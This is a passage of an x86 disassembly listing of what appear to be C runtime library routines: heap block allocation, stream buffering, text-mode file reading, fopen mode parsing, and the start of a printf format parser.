loc_421A95 loc_421A01: ; CODE XREF: sub_421967+74j ; sub_421967+170j mov ds:dword_4E2EF0, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_421A28 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_421A5E loc_421A28: ; CODE XREF: sub_421967+ABj mov edx, [eax+0C4h] and edx, [ebp+var_8] and [ebp+var_4], 0 lea ecx, [eax+44h] mov esi, [ecx] and esi, [ebp+var_C] or edx, esi mov esi, [ebp+var_C] jnz short loc_421A5B loc_421A44: ; CODE XREF: sub_421967+F2j mov edx, [ecx+84h] and edx, [ebp+var_8] inc [ebp+var_4] add ecx, 4 mov edi, [ecx] and edi, esi or edx, edi jz short loc_421A44 loc_421A5B: ; CODE XREF: sub_421967+DBj mov edx, [ebp+var_4] loc_421A5E: ; CODE XREF: sub_421967+BFj mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] xor edi, edi and ecx, esi jnz short loc_421AE7 mov ecx, [eax+edx*4+0C4h] and ecx, [ebp+var_8] push 20h pop edi jmp short loc_421AE7 ; --------------------------------------------------------------------------- loc_421A89: ; CODE XREF: sub_421967+131j cmp dword ptr [ebx+8], 0 jnz short loc_421A9A add ebx, 14h mov [ebp+arg_0], ebx loc_421A95: ; CODE XREF: sub_421967+94j cmp ebx, [ebp+var_4] jb short loc_421A89 loc_421A9A: ; CODE XREF: sub_421967+126j cmp ebx, [ebp+var_4] jnz short loc_421AC5 mov ebx, edx jmp short loc_421AAC ; --------------------------------------------------------------------------- loc_421AA3: ; CODE XREF: sub_421967+14Aj cmp dword ptr [ebx+8], 0 jnz short loc_421AB3 add ebx, 14h loc_421AAC: ; CODE XREF: sub_421967+13Aj cmp ebx, eax mov [ebp+arg_0], ebx jb short loc_421AA3 loc_421AB3: ; CODE XREF: sub_421967+140j cmp ebx, eax jnz short loc_421AC5 call sub_4214CB mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_421ADD loc_421AC5: ; CODE XREF: sub_421967+136j ; sub_421967+14Ej push ebx call sub_421582 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz loc_421A01 loc_421ADD: ; CODE XREF: sub_421967+15Cj xor eax, eax jmp loc_421C5E ; --------------------------------------------------------------------------- loc_421AE4: ; CODE XREF: sub_421967+182j shl ecx, 1 inc edi loc_421AE7: ; CODE XREF: sub_421967+111j ; sub_421967+120j test ecx, ecx jge short loc_421AE4 mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx sar esi, 4 dec esi cmp esi, 3Fh mov [ebp+var_8], ecx jle short loc_421B08 push 3Fh pop esi loc_421B08: ; CODE XREF: sub_421967+19Cj cmp esi, edi jz loc_421C11 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_421B74 cmp edi, 20h mov ebx, 80000000h jge short loc_421B48 mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_421B71 mov ecx, [ebp+var_14] mov ebx, [ebp+arg_0] and [ebx], ecx jmp short loc_421B74 ; --------------------------------------------------------------------------- loc_421B48: ; CODE XREF: sub_421967+1B9j lea ecx, [edi-20h] shr ebx, cl mov ecx, [ebp+var_4] lea ecx, [eax+ecx*4+0C4h] lea edi, [eax+edi+4] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_421B71 mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_421B74 ; --------------------------------------------------------------------------- loc_421B71: ; CODE XREF: sub_421967+1D5j ; sub_421967+1FDj mov ebx, [ebp+arg_0] loc_421B74: ; CODE XREF: sub_421967+1AFj ; sub_421967+1DFj ... cmp [ebp+var_8], 0 mov ecx, [edx+8] mov edi, [edx+4] mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_421C1D mov ecx, [ebp+var_C] lea ecx, [ecx+esi*8] mov edi, [ecx+4] mov [edx+8], ecx mov [edx+4], edi mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_421C0E mov cl, [esi+eax+4] mov byte ptr [ebp+arg_0+3], cl inc cl cmp esi, 20h mov [esi+eax+4], cl jge short loc_421BE5 cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_421BD3 mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_421BD3: ; CODE XREF: sub_421967+25Fj mov ecx, esi mov edi, 80000000h shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_421C0E ; --------------------------------------------------------------------------- loc_421BE5: ; CODE XREF: sub_421967+259j cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_421BF8 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_421BF8: ; CODE XREF: sub_421967+282j mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_421C0E: ; CODE XREF: sub_421967+247j ; sub_421967+27Cj mov ecx, [ebp+var_8] loc_421C11: ; CODE XREF: sub_421967+1A3j test ecx, ecx jz short loc_421C20 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_421C20 ; --------------------------------------------------------------------------- loc_421C1D: ; CODE XREF: sub_421967+223j mov ecx, [ebp+var_8] loc_421C20: ; CODE XREF: sub_421967+2ACj ; sub_421967+2B4j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_421C56 cmp ebx, ds:dword_4E2EE0 jnz short loc_421C56 mov ecx, [ebp+var_4] cmp ecx, ds:dword_4E2EF8 jnz short loc_421C56 and ds:dword_4E2EE0, 0 loc_421C56: ; CODE XREF: sub_421967+2D3j ; sub_421967+2DBj ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_421C5E: ; CODE XREF: sub_421967+178j pop edi pop esi pop ebx leave retn sub_421967 endp ; =============== S U B R O U T I N E ======================================= sub_421C63 proc near ; CODE XREF: sub_41E2D9+AAp ; sub_41EA5D+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_421D3C test al, 40h jnz loc_421D3C test al, 2 jz short loc_421C8A or eax, 20h mov [esi+0Ch], eax jmp loc_421D3C ; --------------------------------------------------------------------------- loc_421C8A: ; CODE XREF: sub_421C63+1Aj or eax, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_421C9F push esi call sub_4269FF pop ecx jmp short loc_421CA4 ; --------------------------------------------------------------------------- loc_421C9F: ; CODE XREF: sub_421C63+31j mov eax, [esi+8] mov [esi], eax loc_421CA4: ; CODE XREF: sub_421C63+3Aj push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_421D41 add esp, 0Ch test eax, eax mov [esi+4], eax jz short loc_421D2B cmp eax, 0FFFFFFFFh jz short loc_421D2B mov edx, [esi+0Ch] test dl, 82h jnz short loc_421D00 mov ecx, [esi+10h] cmp ecx, 0FFFFFFFFh push edi jz short loc_421CE6 mov edi, ecx sar edi, 5 mov edi, ds:dword_4E2BA0[edi*4] and ecx, 1Fh lea edi, [edi+ecx*8] jmp short loc_421CEB ; --------------------------------------------------------------------------- loc_421CE6: ; CODE XREF: sub_421C63+6Dj mov edi, offset dword_443A40 loc_421CEB: ; CODE XREF: sub_421C63+81j mov cl, [edi+4] and cl, 82h cmp cl, 82h pop edi jnz short loc_421D00 or edx, 2000h mov [esi+0Ch], edx loc_421D00: ; CODE XREF: sub_421C63+64j ; sub_421C63+92j cmp dword ptr [esi+18h], 200h jnz short loc_421D1D mov ecx, [esi+0Ch] test cl, 8 jz short loc_421D1D test ch, 4 jnz short loc_421D1D mov dword ptr [esi+18h], 1000h loc_421D1D: ; CODE XREF: sub_421C63+A4j ; sub_421C63+ACj ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_421D2B: ; CODE XREF: sub_421C63+57j ; sub_421C63+5Cj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_421D3C: ; CODE XREF: sub_421C63+Aj ; sub_421C63+12j ... or eax, 0FFFFFFFFh pop esi retn sub_421C63 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421D41 proc near ; CODE XREF: sub_41E2D9+91p ; sub_421C63+4Ap ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h push ebx push esi mov esi, [ebp+arg_0] cmp esi, ds:dword_4E2B98 push edi jnb loc_421F16 mov eax, esi sar eax, 5 lea edi, ds:4E2BA0h[eax*4] mov eax, [edi] and esi, 1Fh shl esi, 3 add eax, esi mov dl, [eax+4] test dl, 1 jz loc_421F16 and [ebp+var_C], 0 cmp [ebp+arg_8], 0 mov ebx, [ebp+arg_4] mov ecx, ebx jz short loc_421DEC test dl, 2 jnz short loc_421DEC test dl, 48h jz short loc_421DB6 cmp byte ptr [eax+5], 0Ah jz short loc_421DB6 mov eax, [edi] mov al, [eax+esi+5] dec [ebp+arg_8] mov [ebx], al mov eax, [edi] lea ecx, [ebx+1] mov [ebp+var_C], 1 mov byte ptr [eax+esi+5], 0Ah loc_421DB6: ; CODE XREF: sub_421D41+51j ; sub_421D41+57j push 0 lea eax, [ebp+var_10] push eax push [ebp+arg_8] mov eax, [edi] push ecx push dword ptr [eax+esi] call ds:dword_42B080 ; ReadFile test eax, eax jnz short loc_421DFF call ds:dword_42B01C ; RtlGetLastWin32Error push 5 pop ecx cmp eax, ecx jnz short loc_421DE7 mov ds:dword_4E28F8, ecx jmp loc_421F1D ; --------------------------------------------------------------------------- loc_421DE7: ; CODE XREF: sub_421D41+99j cmp eax, 6Dh jnz short loc_421DF3 loc_421DEC: ; CODE XREF: sub_421D41+47j ; sub_421D41+4Cj xor eax, eax jmp loc_421F2A ; --------------------------------------------------------------------------- loc_421DF3: ; CODE XREF: sub_421D41+A9j push eax call sub_422C0F pop ecx jmp loc_421F27 ; --------------------------------------------------------------------------- loc_421DFF: ; CODE XREF: sub_421D41+8Cj mov eax, [ebp+var_10] mov ecx, [edi] add [ebp+var_C], eax test byte ptr [ecx+esi+4], 80h jz loc_421F11 test eax, eax jz short loc_421E26 cmp byte ptr [ebx], 0Ah jnz short loc_421E26 mov eax, ecx lea eax, [eax+esi+4] or byte ptr [eax], 4 jmp short loc_421E2F ; --------------------------------------------------------------------------- loc_421E26: ; CODE XREF: sub_421D41+D3j ; sub_421D41+D8j mov eax, [edi] lea eax, [eax+esi+4] and byte ptr [eax], 0FBh loc_421E2F: ; CODE XREF: sub_421D41+E3j mov eax, [ebp+arg_4] mov ecx, [ebp+var_C] add ecx, eax cmp eax, ecx mov [ebp+var_8], eax mov [ebp+var_C], ecx jnb loc_421F0B loc_421E45: ; CODE XREF: sub_421D41+1B2j mov eax, [ebp+var_8] mov al, [eax] cmp al, 1Ah jz loc_421EFB cmp al, 0Dh jz short loc_421E61 mov [ebx], al inc ebx inc [ebp+var_8] jmp loc_421EED ; --------------------------------------------------------------------------- loc_421E61: ; CODE XREF: sub_421D41+113j dec ecx cmp [ebp+var_8], ecx jnb short loc_421E7B mov eax, [ebp+var_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_421E76 add [ebp+var_8], 2 jmp short loc_421ECF ; --------------------------------------------------------------------------- loc_421E76: ; CODE XREF: sub_421D41+12Dj mov [ebp+var_8], eax jmp short loc_421EE9 ; --------------------------------------------------------------------------- loc_421E7B: ; CODE XREF: sub_421D41+124j inc [ebp+var_8] push 0 lea eax, [ebp+var_10] push eax push 1 lea eax, [ebp+var_1] push eax mov eax, [edi] push dword ptr [eax+esi] call ds:dword_42B080 ; ReadFile test eax, eax jnz short loc_421EA3 call ds:dword_42B01C ; RtlGetLastWin32Error test eax, eax jnz short loc_421EE9 loc_421EA3: ; CODE XREF: sub_421D41+156j cmp [ebp+var_10], 0 jz short loc_421EE9 mov eax, [edi] test byte ptr [eax+esi+4], 48h jz short loc_421EC4 mov al, [ebp+var_1] cmp al, 0Ah jz short loc_421ECF mov byte ptr [ebx], 0Dh mov ecx, [edi] mov [ecx+esi+5], al jmp short loc_421EEC ; --------------------------------------------------------------------------- loc_421EC4: ; CODE XREF: sub_421D41+16Fj cmp ebx, [ebp+arg_4] jnz short loc_421ED4 cmp [ebp+var_1], 0Ah jnz short loc_421ED4 loc_421ECF: ; CODE XREF: sub_421D41+133j ; sub_421D41+176j mov byte ptr [ebx], 0Ah jmp short loc_421EEC ; --------------------------------------------------------------------------- loc_421ED4: ; CODE XREF: sub_421D41+186j ; sub_421D41+18Cj push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_42569D add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_421EED loc_421EE9: ; CODE XREF: sub_421D41+138j ; sub_421D41+160j ... mov byte ptr [ebx], 0Dh loc_421EEC: ; CODE XREF: sub_421D41+181j ; sub_421D41+191j inc ebx loc_421EED: ; CODE XREF: sub_421D41+11Bj ; sub_421D41+1A6j mov ecx, [ebp+var_C] cmp [ebp+var_8], ecx jb loc_421E45 jmp short loc_421F0B ; --------------------------------------------------------------------------- loc_421EFB: ; CODE XREF: sub_421D41+10Bj mov eax, [edi] test byte ptr [eax+esi+4], 40h jnz short loc_421F0B lea esi, [eax+esi+4] or byte ptr [esi], 2 loc_421F0B: ; CODE XREF: sub_421D41+FEj ; sub_421D41+1B8j ... sub ebx, [ebp+arg_4] mov [ebp+var_C], ebx loc_421F11: ; CODE XREF: sub_421D41+CBj mov eax, [ebp+var_C] jmp short loc_421F2A ; --------------------------------------------------------------------------- loc_421F16: ; CODE XREF: sub_421D41+12j ; sub_421D41+34j and ds:dword_4E28F8, 0 loc_421F1D: ; CODE XREF: sub_421D41+A1j mov ds:dword_4E28F4, 9 loc_421F27: ; CODE XREF: sub_421D41+B9j or eax, 0FFFFFFFFh loc_421F2A: ; CODE XREF: sub_421D41+ADj ; sub_421D41+1D3j pop edi pop esi pop ebx leave retn sub_421D41 endp ; =============== S U B R O U T I N E ======================================= sub_421F2F proc near ; CODE XREF: sub_41E3C2+113p ; sub_41E3C2+151p ... arg_0 = dword ptr 4 mov eax, ds:dword_4E2960 test eax, eax jz short loc_421F47 push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_421F47 xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_421F47: ; CODE XREF: sub_421F2F+7j ; sub_421F2F+12j xor eax, eax retn sub_421F2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421F4A proc near ; CODE XREF: sub_41E524+21p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, ds:dword_4E2AD4 push edi mov edi, [ebp+arg_4] mov al, [edi] xor ebx, ebx cmp al, 61h mov [ebp+var_8], ebx mov [ebp+var_4], ebx jz short loc_421F83 cmp al, 72h jz short loc_421F7C cmp al, 77h jnz loc_42208F mov ecx, 301h jmp short loc_421F88 ; --------------------------------------------------------------------------- loc_421F7C: ; CODE XREF: sub_421F4A+21j xor ecx, ecx or esi, 1 jmp short loc_421F8B ; --------------------------------------------------------------------------- loc_421F83: ; CODE XREF: sub_421F4A+1Dj mov ecx, 109h loc_421F88: ; CODE XREF: sub_421F4A+30j or esi, 2 loc_421F8B: ; CODE XREF: sub_421F4A+37j xor edx, edx inc edx jmp loc_42206A ; --------------------------------------------------------------------------- loc_421F93: ; CODE XREF: sub_421F4A+125j cmp edx, ebx jz loc_422075 movsx eax, al cmp eax, 54h jg short loc_422014 jz short loc_422007 sub eax, 2Bh jz short loc_421FF1 sub eax, 19h jz short loc_421FE7 sub eax, 0Eh jz short loc_421FD3 dec eax jnz loc_42204C cmp [ebp+var_4], ebx jnz loc_42204C mov [ebp+var_4], 1 or ecx, 20h jmp loc_42206A ; --------------------------------------------------------------------------- loc_421FD3: ; CODE XREF: sub_421F4A+68j cmp [ebp+var_4], ebx jnz short loc_42204C mov [ebp+var_4], 1 or ecx, 10h jmp loc_42206A ; --------------------------------------------------------------------------- loc_421FE7: ; CODE XREF: sub_421F4A+63j test cl, 40h jnz short loc_42204C or ecx, 40h jmp short loc_42206A ; --------------------------------------------------------------------------- loc_421FF1: ; CODE XREF: sub_421F4A+5Ej test cl, 2 jnz short loc_42204C and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_42206A ; --------------------------------------------------------------------------- loc_422007: ; CODE XREF: sub_421F4A+59j mov eax, 1000h test ecx, eax jnz short loc_42204C or ecx, eax jmp short loc_42206A ; --------------------------------------------------------------------------- loc_422014: ; CODE XREF: sub_421F4A+57j sub eax, 62h jz short loc_42205F dec eax jz short loc_422047 sub eax, 0Bh jz short loc_422033 sub eax, 6 jnz short loc_42204C test ch, 0C0h jnz short loc_42204C or ecx, 4000h jmp short loc_42206A ; --------------------------------------------------------------------------- loc_422033: ; CODE XREF: sub_421F4A+D5j cmp [ebp+var_8], ebx jnz short loc_42204C mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp short loc_42206A ; --------------------------------------------------------------------------- loc_422047: ; CODE XREF: sub_421F4A+D0j cmp [ebp+var_8], ebx jz short loc_422050 loc_42204C: ; CODE XREF: sub_421F4A+6Bj ; sub_421F4A+74j ... xor edx, edx jmp short loc_42206A ; --------------------------------------------------------------------------- loc_422050: ; CODE XREF: sub_421F4A+100j mov [ebp+var_8], 1 or esi, 4000h jmp short loc_42206A ; --------------------------------------------------------------------------- loc_42205F: ; CODE XREF: sub_421F4A+CDj test ch, 0C0h jnz short loc_42204C or ecx, 8000h loc_42206A: ; CODE XREF: sub_421F4A+44j ; sub_421F4A+84j ... inc edi mov al, [edi] cmp al, bl jnz loc_421F93 loc_422075: ; CODE XREF: sub_421F4A+4Bj push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_426A43 mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_422093 loc_42208F: ; CODE XREF: sub_421F4A+25j xor eax, eax jmp short loc_4220AD ; --------------------------------------------------------------------------- loc_422093: ; CODE XREF: sub_421F4A+143j mov eax, [ebp+arg_C] inc ds:dword_4E2944 mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_4220AD: ; CODE XREF: sub_421F4A+147j pop edi pop esi pop ebx leave retn sub_421F4A endp ; =============== S U B R O U T I N E ======================================= sub_4220B2 proc near ; CODE XREF: sub_41E524p push ebx push esi push edi mov edi, ds:dword_4E3F20 xor ebx, ebx xor esi, esi xor eax, eax cmp edi, ebx jle short loc_42211E mov ecx, ds:dword_4E2F08 loc_4220CB: ; CODE XREF: sub_4220B2+29j mov edx, [ecx+eax*4] cmp edx, ebx jz short loc_4220E4 test byte ptr [edx+0Ch], 83h jz short loc_4220DF inc eax cmp eax, edi jl short loc_4220CB jmp short loc_42211E ; --------------------------------------------------------------------------- loc_4220DF: ; CODE XREF: sub_4220B2+24j mov esi, [ecx+eax*4] jmp short loc_422108 ; --------------------------------------------------------------------------- loc_4220E4: ; CODE XREF: sub_4220B2+1Ej mov edi, eax push 20h shl edi, 2 call sub_41E5D3 pop ecx mov ecx, ds:dword_4E2F08 mov [edi+ecx], eax mov eax, ds:dword_4E2F08 mov edi, [edi+eax] cmp edi, ebx jz short loc_42211E mov esi, edi loc_422108: ; CODE XREF: sub_4220B2+30j cmp esi, ebx jz short loc_42211E or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebx mov [esi+0Ch], ebx mov [esi+8], ebx mov [esi], ebx mov [esi+1Ch], ebx loc_42211E: ; CODE XREF: sub_4220B2+11j ; sub_4220B2+2Bj ... pop edi mov eax, esi pop esi pop ebx retn sub_4220B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422124 proc near ; CODE XREF: sub_41E650+49p ; sub_41E6A6+4Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] test al, 82h mov ebx, [esi+10h] jz loc_42222D test al, 40h jnz loc_42222D test al, 1 jz short loc_42215D and dword ptr [esi+4], 0 test al, 10h jz loc_42222D mov ecx, [esi+8] and eax, 0FFFFFFFEh mov [esi], ecx mov [esi+0Ch], eax loc_42215D: ; CODE XREF: sub_422124+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and eax, 0FFFFFFEFh or eax, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_422199 cmp esi, offset dword_443520 jz short loc_422187 cmp esi, offset dword_443540 jnz short loc_422192 loc_422187: ; CODE XREF: sub_422124+59j push ebx call sub_426D13 test eax, eax pop ecx jnz short loc_422199 loc_422192: ; CODE XREF: sub_422124+61j push esi call sub_4269FF pop ecx loc_422199: ; CODE XREF: sub_422124+51j ; sub_422124+6Cj test word ptr [esi+0Ch], 108h push edi jz short loc_422203 mov eax, [esi+8] mov edi, [esi] lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] sub edi, eax dec ecx test edi, edi mov [esi+4], ecx jle short loc_4221C6 push edi push eax push ebx call sub_425882 mov [ebp+arg_4], eax jmp short loc_4221F6 ; --------------------------------------------------------------------------- loc_4221C6: ; CODE XREF: sub_422124+93j cmp ebx, 0FFFFFFFFh jz short loc_4221E1 mov eax, ebx sar eax, 5 mov eax, ds:dword_4E2BA0[eax*4] mov ecx, ebx and ecx, 1Fh lea eax, [eax+ecx*8] jmp short loc_4221E6 ; --------------------------------------------------------------------------- loc_4221E1: ; CODE XREF: sub_422124+A5j mov eax, offset dword_443A40 loc_4221E6: ; CODE XREF: sub_422124+BBj test byte ptr [eax+4], 20h jz short loc_4221F9 push 2 push 0 push ebx call sub_42569D loc_4221F6: ; CODE XREF: sub_422124+A0j add esp, 0Ch loc_4221F9: ; CODE XREF: sub_422124+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_422217 ; --------------------------------------------------------------------------- loc_422203: ; CODE XREF: sub_422124+7Cj xor edi, edi inc edi push edi lea eax, [ebp+arg_0] push eax push ebx call sub_425882 add esp, 0Ch mov [ebp+arg_4], eax loc_422217: ; CODE XREF: sub_422124+DDj cmp [ebp+arg_4], edi pop edi jz short loc_422223 or dword ptr [esi+0Ch], 20h jmp short loc_422233 ; --------------------------------------------------------------------------- loc_422223: ; CODE XREF: sub_422124+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_422236 ; --------------------------------------------------------------------------- loc_42222D: ; CODE XREF: sub_422124+10j ; sub_422124+18j ... or eax, 20h mov [esi+0Ch], eax loc_422233: ; CODE XREF: sub_422124+FDj or eax, 0FFFFFFFFh loc_422236: ; CODE XREF: sub_422124+107j pop esi pop ebx pop ebp retn sub_422124 endp ; =============== S U B R O U T I N E ======================================= sub_42223A proc near ; CODE XREF: sub_42226D+11p ; sub_422291+22p ... test byte ptr [ecx+0Ch], 40h jz short loc_422246 cmp dword ptr [ecx+8], 0 jz short loc_42226A loc_422246: ; CODE XREF: sub_42223A+4j dec dword ptr [ecx+4] js short loc_422256 mov edx, [ecx] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_422262 ; --------------------------------------------------------------------------- loc_422256: ; CODE XREF: sub_42223A+Fj movsx eax, al push ecx push eax call sub_422124 pop ecx pop ecx loc_422262: ; CODE XREF: sub_42223A+1Aj cmp eax, 0FFFFFFFFh jnz short loc_42226A or [esi], eax retn ; --------------------------------------------------------------------------- loc_42226A: ; CODE XREF: sub_42223A+Aj ; sub_42223A+2Bj inc dword ptr [esi] retn sub_42223A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42226D proc near ; CODE XREF: sub_4222C8+6EFp ; sub_4222C8+71Dp ... arg_0 = byte ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi mov esi, eax jmp short loc_422288 ; --------------------------------------------------------------------------- loc_422275: ; CODE XREF: sub_42226D+1Fj mov ecx, [ebp+arg_8] mov al, [ebp+arg_0] dec [ebp+arg_4] call sub_42223A cmp dword ptr [esi], 0FFFFFFFFh jz short loc_42228E loc_422288: ; CODE XREF: sub_42226D+6j cmp [ebp+arg_4], 0 jg short loc_422275 loc_42228E: ; CODE XREF: sub_42226D+19j pop esi pop ebp retn sub_42226D endp ; =============== S U B R O U T I N E ======================================= sub_422291 proc near ; CODE XREF: sub_4222C8+706p ; sub_4222C8+767p ... arg_0 = dword ptr 4 test byte ptr [edi+0Ch], 40h push ebx push esi mov esi, eax mov ebx, ecx jz short loc_4222BE cmp dword ptr [edi+8], 0 jnz short loc_4222BE mov eax, [esp+8+arg_0] add [esi], eax jmp short loc_4222C5 ; --------------------------------------------------------------------------- loc_4222AB: ; CODE XREF: sub_422291+32j mov al, [ebx] dec [esp+8+arg_0] mov ecx, edi call sub_42223A inc ebx cmp dword ptr [esi], 0FFFFFFFFh jz short loc_4222C5 loc_4222BE: ; CODE XREF: sub_422291+Aj ; sub_422291+10j cmp [esp+8+arg_0], 0 jg short loc_4222AB loc_4222C5: ; CODE XREF: sub_422291+18j ; sub_422291+2Bj pop esi pop ebx retn sub_422291 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=1D4h sub_4222C8 proc near ; CODE XREF: sub_41E650+28p ; sub_41E6A6+2Ap ... var_254 = dword ptr -254h var_250 = dword ptr -250h var_248 = dword ptr -248h var_244 = dword ptr -244h var_240 = dword ptr -240h var_23C = dword ptr -23Ch var_238 = dword ptr -238h var_234 = dword ptr -234h var_230 = dword ptr -230h var_22C = dword ptr -22Ch var_228 = dword ptr -228h var_224 = byte ptr -224h var_223 = byte ptr -223h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_214 = dword ptr -214h var_210 = dword ptr -210h var_20C = byte ptr -20Ch var_D = byte ptr -0Dh var_C = byte ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp lea ebp, [esp-1D4h] sub esp, 254h mov eax, ds:dword_4437D4 mov [ebp+1D4h+var_4], eax xor eax, eax mov [ebp+1D4h+var_21C], eax mov [ebp+1D4h+var_220], eax mov [ebp+1D4h+var_234], eax mov eax, [ebp+1D4h+arg_4] push ebx mov bl, [eax] xor ecx, ecx test bl, bl jz loc_422A8B push esi push edi mov edi, eax jmp short loc_422308 ; --------------------------------------------------------------------------- loc_422305: ; CODE XREF: sub_4222C8+7BBj mov ecx, [ebp+1D4h+var_244] loc_422308: ; CODE XREF: sub_4222C8+3Bj inc edi cmp [ebp+1D4h+var_220], 0 mov [ebp+1D4h+arg_4], edi jl loc_422A89 cmp bl, 20h jl short loc_422332 cmp bl, 78h jg short loc_422332 movsx eax, bl movsx eax, ds:byte_4394B8[eax] and eax, 0Fh jmp short loc_422334 ; --------------------------------------------------------------------------- loc_422332: ; CODE XREF: sub_4222C8+54j ; sub_4222C8+59j xor eax, eax loc_422334: ; CODE XREF: sub_4222C8+68j movsx eax, ds:byte_4394D8[ecx+eax*8] push 7 sar eax, 4 pop ecx cmp eax, ecx ; switch 8 cases mov [ebp+1D4h+var_244], eax ja loc_422A79 ; default jmp off_422AA2[eax*4] ; switch jump loc_422354: ; DATA XREF: seg000:off_422AA2o xor eax, eax ; jumptable 0042234D case 1 or [ebp+1D4h+var_214], 0FFFFFFFFh mov [ebp+1D4h+var_240], eax mov [ebp+1D4h+var_238], eax mov [ebp+1D4h+var_22C], eax mov [ebp+1D4h+var_228], eax mov [ebp+1D4h+var_210], eax mov [ebp+1D4h+var_230], eax jmp loc_422A79 ; default ; --------------------------------------------------------------------------- loc_422371: ; CODE XREF: sub_4222C8+85j ; DATA XREF: seg000:off_422AA2o movsx eax, bl ; jumptable 0042234D case 2 sub eax, 20h jz short loc_4223B4 sub eax, 3 jz short loc_4223AB sub eax, 8 jz short loc_4223A2 dec eax dec eax jz short loc_422399 sub eax, 3 jnz loc_422A79 ; default or [ebp+1D4h+var_210], 8 jmp loc_422A79 ; default ; --------------------------------------------------------------------------- loc_422399: ; CODE XREF: sub_4222C8+BDj or [ebp+1D4h+var_210], 4 jmp loc_422A79 ; default ; --------------------------------------------------------------------------- loc_4223A2: ; CODE XREF: sub_4222C8+B9j or [ebp+1D4h+var_210], 1 jmp loc_422A79 ; default ; --------------------------------------------------------------------------- loc_4223AB: ; CODE XREF: sub_4222C8+B4j or byte ptr [ebp+1D4h+var_210], 80h jmp loc_422A79 ; default ; 